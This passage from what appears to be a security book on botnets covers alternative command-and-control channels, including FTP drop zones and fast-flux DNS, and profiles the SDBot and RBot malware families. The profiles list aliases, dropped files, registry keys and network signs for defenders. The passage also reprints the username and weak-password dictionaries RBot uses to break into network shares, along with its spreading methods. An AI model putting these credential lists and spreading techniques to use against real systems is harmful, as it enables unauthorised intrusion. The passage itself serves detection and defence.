IRC, the same can be said for discussion\ngroups or chat channels, where the bot would send the echo there, or just\njoin and await new instructions.\nwww.syngress.com\n86\nChapter 3 • Alternative Botnet C&Cs\n" }, { "page_number": 105, "text": "Unlike IRC, IM networks are controlled, meaning, they operate under\nrules of the provider and are enforced on the central server.This fact makes it\neasy on the IM services to detect C&Cs over IM, much like infections, and\nfilter them out, making their shelf-life rather short, making them not very\noverall effective in managing the botnet. IM services often watch for this, just\nnot as much as they could.\nSome more information on IM-based worms can be found here:\nwww.viruslist.com/en/analysis?pubid=162454316#imworms.\nRemote Administration Tools\nRemote administration tools, such as Terminal Services and PCAnywhere, are\nat times installed on compromised computers instead of bots.These need to\nbe controlled directly (push rather than pull) and require micromanagement\nof each and every bot.\nOther bots and malware could be put on—dropped—on the compro-\nmised computer, but that is not relevant to this section.\nAn important distinction here would be to distinguish these tools from\nmalicious software such as SubSeven, which is a Trojan horse (meaning, a\nbot). It calls home and was not built for legitimate uses.\nDrop Zones and FTP-Based C&Cs\nLike many other protocols, FTP has also been experimented with as a control\nchannel for botnets.Today, it isn’t commonly seen in the wild. However, there\nis a type of bot that regularly reports back (echoes) to an FTP C&C, and that\nis the phishing or banking Trojan horse.\nThese bots, such as Dumador or Haxdoor, are basically key loggers, only\nvery advanced ones.They listen in (sniff) communication when the user on\nthe compromised computer surfs the Web. When the user enters an HTTPS\n(encrypted) Web site, they perform a man-in-the-middle attack on the com-\nputer itself. Maybe we should call this a man-on-the-inside attack, since the\nattack takes place inside the victim’s computer.Then the bot presents the user\nwith a fake Web site locally.This way, they break through the encryption and\nlog the user’s credentials (such as a username and password).\nwww.syngress.com\nAlternative Botnet C&Cs • Chapter 3\n87\n" }, { "page_number": 106, "text": "The stolen credentials are then uploaded to an FTP server maintained by\nthe botnet controller. Botherders maintain elaborate statistics about the cre-\ndentials stolen and where they come from. Figures 3.2 and 3.3 show statistics\nabout the origins of credentials gathered by a botnet.\nThe botnet controller can then steal the user’s credentials and steal their\nfinancial information and money, as well as potentially perform an identity\ntheft. In essence, these C&Cs, which are called drop zones, will record all cre-\ndentials, no matter for what Web site, and feed them directly to the criminals\non the other end.\nSome more advanced drop zones also provide with instructions, such as,\n“If the user surfs to www.mybank.com, use this signature to steal only the\ninformation we need!” Or even more advanced,“automatically send the\nselected information in, so that we can direct you to change the user’s trans-\naction on the fly, in real time, and send it instead to our account.”\nFigure 3.2 Origins of Credentials Gathered by a Botnet\nwww.syngress.com\n88\nChapter 3 • Alternative Botnet C&Cs\n" }, { "page_number": 107, "text": "Figure 3.3 Bot Statistics \nAlthough these banking and phishing bots’ drop zones do not answer the\npure definition of what a C&C does, they are indeed a control channel, and\none that is a lot more live and active than most C&Cs of other types.\nFTP is not the only protocol used for drop zones, but it is a leading one.\nSome more information about economic uses for botnets can be found in\nthe following article:\nwww.beyondsecurity.com/whitepapers/SolomonEvronSept06.pdf.\nAdvanced DNS-Based Botnets\nAs we already discussed, DNS is used as a layer of obfuscation and security for\nbotnet C&Cs, providing redundancy and robustness, rather than serving as the\ncontrol channel itself. So far we discussed the trivial concepts of using the\nDNS to represent IP addresses (as it was meant to), and multihoming,\nwww.syngress.com\nAlternative Botnet C&Cs • Chapter 3\n89\n" }, { "page_number": 108, "text": "pointing to several IPs using one DNS RR. Now we will try to cover more\nadvanced subjects, introduced by the bad guys to help with the stability of\ntheir botnets against take downs.\nGames and tricks used by the bad guys to do this vary, but they mostly\nrely on the Time to Live (TTL) setting.The TTL determines how long the\nresults of a DNS query would be cached locally on any remote name server\nthat obeys the TLL. If the TTL is set to a very low setting (a small number),\nthe IP addresses the record points to can be rapidly and consistently changed.\n“The TTL is a very interesting knob for working with DNS,\nboth for the good and bad guys.”\n– Paul Vixie and Gadi Evron, defcon 14.\nDynamic DNS\nDynamic DNS, or DynDNS, is the name given to dynamic DNS providers.\nWhat these providers basically do is to enable anyone to register an account\nwith them and get free DNS hosting services.You can set up your domain\nname or use a 3LD with one they provide.Then point it to, for example, your\nhome IP address (which changes every time you get on the Internet if it is\ndynamic).You could update the dynamic DNS information either via their\nWeb page or using a tool they provide, which will automatically detect your\nnew IP address and set your DNS records accordingly.\nThese services are perfect for the botnet controllers’ use.They can set up\nany number of disposable hosts and change the IP addresses they point to\nvery frequently. For this purpose, naturally a low TTL is set.\nThe dynamic DNS services suffer enormously from this type of abuse and\noften try to eliminate such abuse of their services.\nFastflux DNS\nFastflux is the name given to DNS records that change constantly, whether\nevery day or every 10 minutes.This was first introduced in the spam world,\nwhere spammers would e-mail out spam messages and change the IP address\nof the site they send people to all the time.The same was soon applied to\nphishing sites, and indeed, botnet C&Cs.\nwww.syngress.com\n90\nChapter 3 • Alternative Botnet C&Cs\n" }, { "page_number": 109, "text": "With the bot going to the DNS name rather than the IP address, even if\nthe IP address representing the C&C server goes down, it can be immediately\nmoved to a different IP address, without ever issuing one instruction to the\nbotnet. Often, the constant change of IP addresses will occur regardless of\nwhether a takedown of the C&C happened.This is one of the reasons taking\ndown botnet C&Cs has become impractical to a large extent.\nAn interesting way to track such changes is by the use of the passive DNS\nreplication system created by Florian Weimer. For a more-detailed explana-\ntion see www.enyo.de/fw/software/dnslogger/.The system caches all DNS\nresults (not the actual requests) it sees while monitoring large DNS servers.\nAn example result (courtesy of Florian Weimer):\n2004-07-11 08:08:57\ngeorgewbush.com\nA\n64.203.97.121\n2004-07-12 02:12:40\nwww.georgewbush.com\nA\n64.203.97.121\n2004-07-12 16:45:34\nwww.georgebush.com\nA\n64.203.97.121\n2004-07-19 12:54:29\ndemocratsforbush.net\nA\n64.203.97.121\n2004-07-26 13:13:42\nwww.bushforpresident.com\nA\n64.203.97.121\n2004-07-30 18:02:06\ngeorgebush.com\nA\n64.203.97.121\n2004-09-02 21:00:34\nwww.studentsforbush.com\nA\n64.203.97.121\n2004-09-30 02:05:07\nwww.agendaforamerica.com\nA\n64.203.97.121\n2004-10-01 05:37:03\nwww.debatefacts.com\nA\n64.203.97.121\n2004-10-14 00:21:10\nwww.kerrysliberalrecord.com\nA\n64.203.97.121\n2004-10-20 16:12:56\nkimble.org\nA\n64.203.97.121\n2004-10-31 05:00:04\nteachersforbush.org\nA\n64.203.97.121\nThis example shows different DNS A records pointing to just one IP\naddress.An interesting domain to watch for from the above is kimble.org,\nwhich helped Blaster.E take down a presidential campaign Web site.The date\nin the table above shows the time when the result was first seen by the\nsystem.\nMore information on fastflux DNS can be found at the Spamhaus Web\nsite: www.spamhaus.org/faq/answers.lasso?section=ISP%20Spam%20\nIssues#164.\nFuture Outlook\nIn the future, we can expect to see far more use of fastflux technology, as well\nas new C&C technologies being introduced. Still, IRC is going to stay with\nwww.syngress.com\nAlternative Botnet C&Cs • Chapter 3\n91\n" }, { "page_number": 110, "text": "us as the leading protocol and application for C&C servers for a long time to\ncome.\nThere have been rumors of ICMP-controlled botnets, as well as of covert\nchannels, such as entries on social networking Web sites like MySpace.com,\nbeing used for C&C. Even if they are in fact being used and not only theo-\nretical, the vast majority of C&Cs have been and will remain on IRC.\nWhere we can definitely expect change is with introduction of more\nadvanced encryption by the bot masters, as well as the C&Cs themselves\nbecoming very hard to take down (or, as shown in fastflux, taking down\nbecomes irrelevant).\nAnother issue that we can expect to see change is the structure of the\nbotnet. For example, in recent years botnets stopped being very large and\nbecame, rather, relatively very small. It is more likely for a botnet controller to\nhold 20 C&C servers with a few thousand bots on each, than to hold one\nC&C with several hundred thousand bots on it.The structure of an army\nbecomes more and more clear as time goes by; however, with the introduc-\ntion of compartmentalization into the equation, it looks more and more like a\nterrorist organization, with a few bots controlling botnets of their own, and\nonly they as the “cell” leaders get instructions from the main C&C. If a brand\nis lost, the tree remains alive.\nBotnets are here to stay, and the C&C or alternative control channels will\nbe here to direct the armies.\nwww.syngress.com\n92\nChapter 3 • Alternative Botnet C&Cs\n" }, { "page_number": 111, "text": "Summary\nBotnet technology has been in use for almost two decades, and its most basic\nform, which is distributed computing, even longer.The fact that botnet con-\ntrollers now work for pay rather than build and maintain their armies for fun\nis key. Most botnet controllers either build or rent their armies for malicious\nusage, as that is where the money is.\nIn order to maintain revenue, they will do whatever it takes, from using a\npreviously unknown exploit to spread to using new technologies for com-\nmand and control, which is what this chapter is about.As technology\nadvances on one side, it will on the other, but there are some conclusions we\ncan draw based on our past experience on how whatever technology that fol-\nlows is going to work:\n■\nThere will be a complicated network-based approach to communi-\ncating with the botnet.\n■\nThe botnet itself will be running on new protocols and services as\nthey come along (IM, P2P, and so on).\n■\nThere will be alternative means of controlling the botnet in case of\nfailure.\n■\nThe botnet will be built to attempt to avoid detection.\nThis all comes down to robustness and reliability, which is what these\nalternative control channels provide.\nDNS is a good example of how C&Cs use multiple layers in their design\nto ensure they stay up. By diversifying and using different servers and allowing\nfor a quick alteration of what servers these are, the botnet controllers can\nconcentrate on the C&C itself rather than moving all the bots constantly.The\nWeb and P2P are good examples for alternative technologies being used for\nthe actual control mechanisms.\nwww.syngress.com\nAlternative Botnet C&Cs • Chapter 3\n93\n" }, { "page_number": 112, "text": "Solutions Fast Track\nHistorical C&C Technology as a Road Map\n\u0002 In the beginning, bots and botnets indeed were legitimate tools used\nmainly for functional purposes, such as maintaining an IRC channel\nopen when no user is logged in or maintaining control of the IRC\nchannel.\n\u0002 As the technology advanced, control channels became more\nsophisticated.As an example, a chat channel would be used but it\nwould be password protected (a key would be set on IRC).\n\u0002 As useful as IRC is to the people running botnets, there are some\ninherent threats for them.\nDNS and C&C Technology\n\u0002 IRC is built in a fashion that several servers can be inter-linked to\nform a network of hubs, branches, and leaves.\n\u0002 Until 2002, DNS was manifested in two main uses: domain names\nand multihoming. Both of them were as facilitators to finding the\nbotnet C&C as well as to keeping it alive on the Internet, before\nconnection to the actual C&C server.\n\u0002 Reporting, which results in a “takedown” for a DNS record, is often\nmore difficult than a compromised IP address. Several such RRs\ncould be put in place for the same IP address, or different ones,\nmaking the C&Cs much more robust.\nwww.syngress.com\n94\nChapter 3 • Alternative Botnet C&Cs\n" }, { "page_number": 113, "text": "Q: What is an alternative botnet C&C?\nA: A botnet C&C is the command and control server for a botnet.As such,\nan alternative C&C would mean that a different control channel exists.\nQ: How can these alternative C&Cs be of use?\nA: An alternative control channel can either be used as the main C&C,\nsimply with a different technology than what is common today, or used as\na secondary one for if the main one fails. For the first option, using a dif-\nferent technology would refer to any technology other than what is\ncommon and that would often mean IRC servers. For the second option,\na secondary C&C would often be necessary because the botnet relies on a\nserious failure point, which is the C&C. If the C&C is no longer available\nfor any reason, the botnet is effectively lost.\nwww.syngress.com\nAlternative Botnet C&Cs • Chapter 3\n95\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 114, "text": "" }, { "page_number": 115, "text": "Common Botnets\nSolutions in this chapter:\n■\nSDBot\n■\nRBot\n■\nAgobot\n■\nSpybot\n■\nMytob\nChapter 4\n97\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 116, "text": "Introduction\nAccording to the Web@Work Survey conducted in early 2006 by the\nComputer Crime Research Center,“Only 34 percent of IT decision makers\nsaid they are very or extremely confident that they can prevent bots from\ninfecting employees’ PCs when not connected to the corporate network.\nFurthermore, 19 percent of IT decision makers indicated that they have had\nemployees’ work-owned computers or laptops infected with a bot.”\nWith bots emerging as possibly the biggest threat to Internet and Web\nsecurity, numbers like these are of grave concern. Botherders or botmasters\ncan typically amass an army of 10,000 to 100,000 compromised machines\nwith which to do their malicious bidding. It is estimated that as many as 100\nmillion machines on the Internet are compromised, and botnets of up to\n350,000 or more have been detected.\nSome of the more common bots just continue to evolve. In fact, rather\nthan new bots being developed from scratch, it seems that malicious devel-\nopers almost exclusively adapt or modify an existing bot program into a new\nvariant. Some bots, such as SDBot, have hundreds of variants and make the\nstandard antivirus-naming convention of using the alphabet (variant A, variant\nB, etc.) cumbersome at best.\nNOTE\nThe bots covered in this chapter are the most common, but this list is\nby no means comprehensive. Because they are common, they also\nhave many variants. Some have hundreds of variations. Understand\nthat the information covered in this chapter is generic to some degree\nand that you might have to do research to find details of the specific\nvariant that has compromised your system.\nSDBot\nThe SDBot family of bots has been around for almost five years and has\ngrown to include hundreds of variants and offshoots. One of the elements\nwww.syngress.com\n98\nChapter 4 • Common Botnets\n" }, { "page_number": 117, "text": "that has added to the longevity of the SDBot family is that the original devel-\noper essentially made it into an open-source malware program.The original\nSDBot author released the source code for the bot and included his contact\ninformation, providing a means of public collaboration and evolution to con-\ntinue developing and improving the code.\nThe other key to the success of SDBot is poor security on the compro-\nmised systems. SDBot relies on spreading itself primarily via network shares\nusing blank or common passwords. Systems with solid security and more\ncomplex passwords will not be compromised by SDBot.\nWith so many variants, a comprehensive description of each would\nrequire a book of its own.The following are the general details of how\nSDBot works and propagates and how you can recognize common signs that\ncould indicate that your computer has been compromised by SDBot.\nAliases\nAntivirus and security vendors rarely agree on naming conventions, so the\nsame threat can have multiple names, depending on which vendor is sup-\nplying the information. Here are some aliases for SDBot from the top\nantivirus vendors:\n■\nMcAfee: IRC-SDBot\n■\nSymantec: Backdoor.Sdbot\n■\nTrend Micro: BKDR_SDBOT\n■\nSophos:Troj/Sdbot\n■\nKaspersky: Backdoor.IRC.Sdbot\n■\nCA: Win32.SDBot\nInfection\nThe method of infection varies from one variant to the next, but SDBot tra-\nditionally takes advantage of insecure network shares or uses known vulnera-\nbility exploits to compromise systems. Once SDBot is able to connect to a\nvulnerable system, it will execute a script that will download and execute\nSDBot to infect the system.\nwww.syngress.com\nCommon Botnets • Chapter 4\n99\n" }, { "page_number": 118, "text": "SDBot typically includes some sort of backdoor that allows an attacker to\ngain complete access to compromised systems.The Remote Access Trojan\n(RAT) component of SDBot connects to an IRC server and lies silently\nwaiting for instructions from a botherder.\nUsing the RAT, a botherder can collect information about the compro-\nmised system, such as the operating system version, computer name, IP\naddress, or the currently logged-in username.A botherder can also run IRC\ncommands directing the compromised computer to join an IRC channel,\ndownload and execute files, or connect to a specific server or Web site to ini-\ntiate a distributed denial-of-service (DDoS) attack.\nSigns of Compromise\nIf you believe that your computer might be infected with SDBot, there are a\nfew clues you can look for to verify your suspicions.\nSystem Folder\nUpon execution, SDBot will place a copy of itself in the System folder.\nTypically, this folder is C:\\Windows\\System32, but SDBot uses the\n%System% variable to find out where it is and then places a copy of itself in\nthat folder.The filename used can vary, but Table 4.1 contains a list of known\nfilenames.\nTable 4.1 Known Filenames Used by Backdoor*\nAim95.exe\nservice.exe\nCMagesta.exe\nsock32.exe\nCmd32.exe\nspooler.exe\nCnfgldr.exe\nSvchosts.exe\ncthelp.exe\nsvhost.exe\nExplorer.exe\nSys32.exe\nFB_PNU.EXE\nSys3f2.exe\nIEXPL0RE.EXE\nSyscfg32.exe\niexplore.exe\nSysmon16.exe\nipcl32.exe\nsyswin32.exe\nwww.syngress.com\n100\nChapter 4 • Common Botnets\nContinued\n" }, { "page_number": 119, "text": "Table 4.1 continued Known Filenames Used by Backdoor*\nMssql.exe\nvcvw.exe\nMSsrvs32.exe\nwinupdate32.exe\nMSTasks.exe\nxmconfig.exe\nquicktimeprom.exe\nYahooMsgr.exe\nRegrun.exe\n* SDBot copies itself to the %System% folder, according to Symantec.\nSource: Symantec Corp. (www.symantec.com/security_response/writeup.jsp?\ndocid=2002-051312-3628-99&tabid=2)\nRegistry Entries\nSDBot also makes modifications to the Windows Registry, aimed primarily at\nmaking sure that the SDBot software is automatically started each time\nWindows is booted up.Typically, one of the Registry values displayed in Table\n4.2, or something similar, is added to one of the following Registry keys:\n■\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\\nWindows\\CurrentVersion\\Run\n■\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\\nWindows\\CurrentVersion\\\nRunServices\n■\nHKEY_CURRENT_USER\\Software\\Microsoft\\\nWindows\\CurrentVersion\\Run\nSource: Symantec Corp. (www.symantec.com/security_response/writeup.jsp?\ndocid=2002-051312-3628-99&tabid=2)\nTable 4.2 Registry Values Used by SDBot*\n“Configuration Loader” = “%System%\\iexplore.exe”\n“Configuration Loader” = “MSTasks.exe”\n“Configuration Loader” = “aim95.exe”\n“Configuration Loader” = “cmd32.exe”\n“Configuration Loader”= “IEXPL0RE.EXE”\n“Configuration Manager” = “Cnfgldr.exe”\nwww.syngress.com\nCommon Botnets • Chapter 4\n101\n" }, { "page_number": 120, "text": "Table 4.2 continued Registry Values Used by SDBot*\n“Fixnice” = “vcvw.exe”\n“Internet Config” = “svchosts.exe”\n“Internet Protocol Configuration Loader” = “ipcl32.exe\n“MSSQL” = “Mssql.exe”\n“MachineTest” = “CMagesta.exe”\n“Microsoft Synchronization Manager” = “svhost.exe”\n“Microsoft Synchronization Manager” = “winupdate32.exe”\n“Microsoft Video Capture Controls” = “MSsrvs32.exe”\n“Quick Time file manager” = “quicktimeprom.exe”\n“Registry Checker” = “%System%\\Regrun.exe”\n“Sock32” = “sock32.exe”\n“System Monitor” = “Sysmon16.exe”\n“System33” = “%System%\\FB_PNU.EXE”\n“Windows Configuration” = “spooler.exe”\n“Windows Explorer” = “ Explorer.exe”\n“Windows Services” = “service.exe”\n“Yahoo Instant Messenger” = “Yahoo Instant Messenger”\n“cthelp” = “cthelp.exe”\n“stratas” = “xmconfig.exe”\n“syswin32” = “syswin32.exe”\n* These registry values are used to modify the Windows registry so that\nSDBot is started when Windows starts.\nSource: Symantec Corp. (www.symantec.com/security_response/writeup.jsp?\ndocid=2002-051312-3628-99&tabid=2)\nAdditional Files\nSome variants of SDBot can also create new files in the %System% directory\nfor additional functionality.Two files that have been identified from known\nSDBot variants are SVKP.sys and msdirectx.sys.\nThe SVKP.sys file is a component of SVK Protector, a copy protection\nutility that prevents the software from being reverse-engineered. Some variants\nwww.syngress.com\n102\nChapter 4 • Common Botnets\n" }, { "page_number": 121, "text": "use this technique in an attempt to prevent security researchers or antivirus\nfirms from being able to analyze the malware and determine how it works.\nMsdirectx.sys is designed to provide rootkit functionality for the software\nand allow an attacker to gain complete access and control of the target system\nwithout being detected.\nUnexpected Traffic\nAnother sign that might identify an SDBot infection is open ports or unex-\npected network connections on your system. Some variants of SDBot will\nestablish an IRC connection via TCP port 6667, and others have been\nknown to use port 7000.\nAre You Owned?\nCheck for Open Ports on Your System\nWindows comes with a built-in command-line utility that you can use\nto see what ports are active on your system. Click Start | Run and type\ncmd, then press Enter. At the command prompt, type netstat –a fol-\nlowed by pressing Enter to get a complete listing of the open ports on\nyour system and the current state of communication. \nFor more information about the features of netstat, you can also\ntype netstat /? to find out what other switches are available and the\nfunctions they perform.\nIf you are really paranoid that your system could be compromised,\neven the netstat utility could be called into question. Perhaps the mal-\nware has replaced it with a modified or malicious version. If you are\nconcerned that this might be the case, you can use nmap from a remote\nsystem and scan the suspected computer for open ports instead.\nThe SDBot program might attempt to communicate with a variety of\nIRC channels using its own IRC client software. Some examples of IRC\nchannels used by known SDBot variants are:\n■\nZxcvbnmas.i989.net\n■\nBmu.h4x0rs.org\n■\nBmu.q8hell.org\nwww.syngress.com\nCommon Botnets • Chapter 4\n103\n" }, { "page_number": 122, "text": "■\nBmu.FL0W1NG.NET\nPropagation\nTo spread effectively, SDBot relies on weak security on target systems or the\nability to leverage the current user credentials to connect with other network\nresources. SDBot assumes the same access rights and privileges as the user that\nis currently logged into the system.\nSDBot will attempt to connect to and spread via default administrative\nshares found on a typical Windows system, such as PRINT$, C$, D$, E$,\nADMIN$, or IPC$. Some variants come bundled with a listing of common\nusername and password combinations, such as abc123 or password for the pass-\nword, which can be used to attempt to connect with network resources as\nwell.\nVariants of SDBot are also known to scan for Microsoft SQL Server\ninstallations with weak administrator passwords or security configurations.\nRBot\nThe RBot family of bots is one of the most pervasive and complex out there.\nOriginated in 2003, the core functionality of RBot continues to drive the\nprimary functionality of hundreds of RBot variants. By its very nature, how-\never, RBot morphs and evolves over time. Filenames and techniques vary\nfrom one variant to the next and might even be randomized as a function of\nthe malware, making accurate identification difficult.\nRBot was the first of the bot families to use compression or encryption\nalgorithms. Most RBot variants rely on one or more runtime executable-\npacking utilities such as Morphine, UPX,ASPack, PESpin, EZIP, PEShield,\nPECompact, FSG, EXEStealth, PEX, MoleBox, or Petite.\nOnce infected with RBot, a compromised system can be controlled by a\nbotherder and used for a variety of functions, including downloading or exe-\ncuting files from the Internet, retrieving CD keys for some computer games,\ncreating a SOCKS proxy, participating in DDoS attacks, sending e-mail, log-\nging keystrokes, or capturing video from a Webcam if the compromised\nsystem has one connected.\nwww.syngress.com\n104\nChapter 4 • Common Botnets\n" }, { "page_number": 123, "text": "Aliases\nAntivirus and security vendors rarely agree on naming conventions, so the\nsame threat can have multiple names, depending on the vendor supplying the\ninformation. Here are some aliases for RBot from the top antivirus vendors:\n■\nMcAfee: W32/SDbot.worm.gen.g\n■\nSymantec: W32.Spybot.worm\n■\nTrend Micro: Worm_RBot\n■\nKaspersky: Backdoor.RBot.gen\n■\nCA: Win32/RBot\nInfection\nThe RBot family of worms uses a few different methods to seek out vulner-\nable targets and find systems to infect. Like the SDBot family, RBot attempts\nto exploit weak passwords and poor security on administrative shares to\nspread across the network. Systems with simple or blank passwords on net-\nwork shares are easy prey.\nIn addition to spreading via weak security on network shares, RBot also\nleverages a variety of known software vulnerabilities in the Windows oper-\nating system and common software applications. Some variants are also\ncapable of exploiting backdoors or open ports created by other malware\ninfections.\nSigns of Compromise\nIf you believe that your computer might be infected with RBot, there are a\nfew clues you can look for to verify your suspicions.\nSystem Folder\nOn initial execution, RBot copies itself into the %System% directory (typi-\ncally C:\\Windows\\System32).A common filename RBot uses is\nwuamgrd.exe, but different variants may use different filenames. Some variants\nmight actually randomize the filename so that it is different for each infected\nsystem.The file is copied to the %System% directory with the read-only,\nwww.syngress.com\nCommon Botnets • Chapter 4\n105\n" }, { "page_number": 124, "text": "hidden, and system file attributes set and the date/timestamp of the file\naltered to match the date/timestamp on the explorer.exe file.As a result, even\nif a user stumbles on the file, it gives the appearance of being an old file that\nwas installed with the operating system.\nRegistry Entries\nRBot is highly configurable and has evolved significantly over time. RBot\nwill add entries to the Windows registry to ensure that it runs automatically\neach time Windows is started.The registry value is configurable, though, so it\nchanges from one variant to the next.A common one among some RBot\nvariants is wuamgrd.exe.The registry keys RBot typically modifies are:\n■\nHKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n■\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n■\nHKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n(The source of the aforementioned registry keys is CA. Go to www3.ca.\ncom/securityadvisor/virusinfo/virus.aspx?ID=39437 for more information.)\nRBot has some added intelligence as well. Some variants of RBot are pro-\ngrammed to check the registry periodically and reset the registry values if\nthey have been changed or deleted. RBot also creates a mutex to make sure\nthat only one copy of RBot runs on a system at a time. Different variants of\nRBot use different names for the mutex, but one example that has been iden-\ntified is rxlsass01b.\nTerminated Processes\nMany of the RBot variants also attempt to terminate processes associated\nwith various security or antivirus programs, to avoid being detected or\nremoved. Some variants also seek out and terminate processes from other\nmalware, such as the Blaster worm.Table 4.3 lists some of the processes\nknown to be targeted by some RBot variants.\nTable 4.3 A Sample of Processes Sometimes Terminated by RBot\nregedit.exe\nMSBLAST.exe\nmsconfig.exe\nteekids.exe\nwww.syngress.com\n106\nChapter 4 • Common Botnets\nContinued\n" }, { "page_number": 125, "text": "Table 4.3 continued A Sample of Processes Sometimes Terminated by\nRBot\nnetstat.exe\nPenis32.exe\nmsblast.exe\nbbeagle.exe\nzapro.exe\nSysMonXP.exe\nnavw32.exe\nwinupd.exe\nnavapw32.exe\nwinsys.exe\nzonealarm.exe\nssate.exe\nwincfg32.exe\nrate.exe\ntaskmon.exe\nd3dupdate.exe\nPandaAVEngine.exe\nirun4.exe\nsysinfo.exe\ni11r54n4.exe\nmscvb32.exe\nSource: CA (www3.ca.com/securityadvisor/virusinfo/virus.aspx?ID=39437)\nUnexpected Traffic\nOnce a system is infected, RBot will attempt to connect to the IRC server it\nis configured to join.The IRC server, channel, port number, and password\ndiffer among variations, so it is not possible to list them here.Aside from\nlooking for unknown or suspicious connections or open ports on your\nsystem, you can also look for activity on TCP port 113 (ident). RBot uses this\nport for ident services required by some IRC servers.\nTIP\nRBot (and many of the other bot programs as well as other malware)\noften attempts to connect to network shares and other resources\nusing the credentials and access rights of the currently logged-in user.\nYou should use a login with restricted or limited access for day-to-day\ntasks and only log in with full administrative privileges when it is nec-\nessary. This practice will limit malware’s ability to exploit the privileges\nof the logged-in user to spread itself.\nwww.syngress.com\nCommon Botnets • Chapter 4\n107\n" }, { "page_number": 126, "text": "Propagation\nThe primary means of propagation for the RBot family is through Windows\nnetwork shares. RBot scans on ports 139 and 445 looking for open connec-\ntions. If a target is found, RBot then attempts to connect to the IPC$ admin-\nistrative share on that system.\nIf RBot is successful at connecting with the target system, it will try to\nobtain a list of the usernames on the target machine that it can use to gain\naccess. If RBot cannot get the list of usernames from the target system, some\nvariants will simply try a default list of usernames (like those listed in Table\n4.4), which are preconfigured into the malware.\nTable 4.4 Usernames That Some RBot Variants Will Attempt to Use to\nConnect With Network Resources\nadministrator\nstudent\nadministrador\nteacher\nadministrateur\nwwwadmin\nadministrat\nguest\nadmins\ndefault\nadmin\ndatabase\nstaff\ndba\nroot\noracle\ncomputer\ndb2\nowner\nSource: CA (www3.ca.com/securityadvisor/virusinfo/virus.aspx?ID=39437)\nFor each username that RBot finds on the target system or the usernames it\nis preconfigured with, RBot attempts to authenticate using a list of commonly\nused weak passwords.The list of passwords varies from one version of RBot to\nthe next, but it commonly includes passwords like those found in Table 4.5.\nTable 4.5 Weak Passwords Commonly Found in RBot Variants*\n007\nchris\nintranet\npwd\n1\ncisco\njen\nqaz\n12\ncompaq\njoe\nqwe\nwww.syngress.com\n108\nChapter 4 • Common Botnets\nContinued\n" }, { "page_number": 127, "text": "Table 4.5 continued Weak Passwords Commonly Found in RBot Variants \n123\ncontrol\njohn\nqwerty\n1234\ndata\nkate\nroot\n12345\ndatabase\nkatie\nsa\n123456\ndatabasepass\nlan\nsam\n1234567\ndatabasepassword\nlee\nserver\n12345678\ndb1\nlinux\nsex\n123456789\ndb1234\nlogin\nsiemens\n1234567890\ndb2\nloginpass\nslut\n2000\ndbpass\nluke\nsql\n2001\ndbpassword\nmail\nsqlpass\n2002\ndefault\nmain\nstaff\n2003\ndell\nmary\nstudent\n2004\ndemo\nmike\nsue\naccess\ndomain\nneil\nsusan\naccounting\ndomainpass\nnokia\nsystem\naccounts\ndomainpassword\nnone\nteacher\nadm\neric\nnull\ntechnical\nadmin\nexchange\noainstall\ntest\nadministrador\nfred\noem\nunix\nadministrat\nfuck\noeminstall\nuser\nadministrateur\ngeorge\noemuser\nweb\nadministrator\ngod\noffice\nwin2000\nadmins\nguest\noracle\nwin2k\nasd\nhell\norainstall\nwin98\nbackup\nhello\noutlook\nwindows\nbill\nhome\npass\nwinnt\nbitch\nhomeuser\npass1234\nwinpass\nblank\nhp\npasswd\nwinxp\nbob\nian\npassword\nwww\nbob\nibm\npassword1\nxp\nbrian\ninternet\npeter\nzxc\nchangeme\ninternet\npeter\nSource: CA (www3.ca.com/securityadvisor/virusinfo/virus.aspx?ID=39437)\nwww.syngress.com\nCommon Botnets • Chapter 4\n109\n" }, { "page_number": 128, "text": "If it authenticates successfully with the target machine, RBot then\nattempts to copy itself to the following locations and schedules a remote job\nto execute the RBot software and infect the target machine:\n■\n\\Admin$\\system32\n■\n\\c$\\winnt\\system32\n■\n\\c$\\windows\\system32\n■\n\\c\n■\n\\d\nUsing Known Vulnerability Exploits\nAnother method RBot uses to propagate itself is to use exploits of known\nvulnerabilities. RBot variants may attempt to exploit one or more of the vul-\nnerabilities listed in Table 4.6. If a vulnerable target is found, RBot executes a\nsmall program instructing the target machine to connect to a remote server to\ndownload the complete RBot code.The connections back to the RBot\nsource may use alternate port assignments but are typically made via HTTP\n(port 81) or TFTP (port 69).\nTable 4.6 Known Vulnerabilities Commonly Exploited by RBot Variants \nMicrosoft Windows LSASS buffer overflow vulnerability (TCP port 445)\nMicrosoft Windows ntdll.dll buffer overflow vulnerability (Webdav vulner-\nability) (TCP port 80)\nMicrosoft Windows RPC malformed message buffer overflow vulnerability\n(TCP ports 135, 445, 1025)\nMicrosoft Windows RPCSS malformed DCOM message buffer overflow vul-\nnerabilities (TCP port 135)\nExploiting weak passwords on MS SQL servers, including Microsoft SQL\nServer Desktop Engine blank sa password vulnerability (TCP port 1433)\nMicrosoft Universal Plug and Play (UPnP) NOTIFY directive buffer overflow\nand DoS vulnerabilities (TCP port 5000)\nDameWare Mini Remote Control buffer overflow (TCP port 6129)\nMicrosoft Windows Workstation service malformed message buffer over-\nflow vulnerability (TCP port 445)\nwww.syngress.com\n110\nChapter 4 • Common Botnets\nContinued\n" }, { "page_number": 129, "text": "Table 4.6 continued Known Vulnerabilities Commonly Exploited by RBot\nVariants \nMicrosoft Windows WINS replication packet memory overwrite\nvulnerability (TCP port 42)\nRealSystem Server SETUP buffer overflow vulnerability\nMicrosoft SQL Server 2000 Resolution service buffer overflow vulnerability\nMicrosoft Windows Plug and Play service buffer overflow vulnerability\nSource: CA (www3.ca.com/securityadvisor/virusinfo/virus.aspx?ID=39437)\nExploiting Malware Backdoors\nSome variants of RBot take the easy route and let other malware do the hard\nwork.These variants are programmed to seek out the default backdoors\nopened by other malware such as the Bagle or Mydoom worms. Malware\nbackdoors known to be targeted by some RBot variants include:\n■\nBagle worm (TCP port 2745)\n■\nMydoom worm (TCP port 3127)\n■\nOptixPro Trojan (TCP port 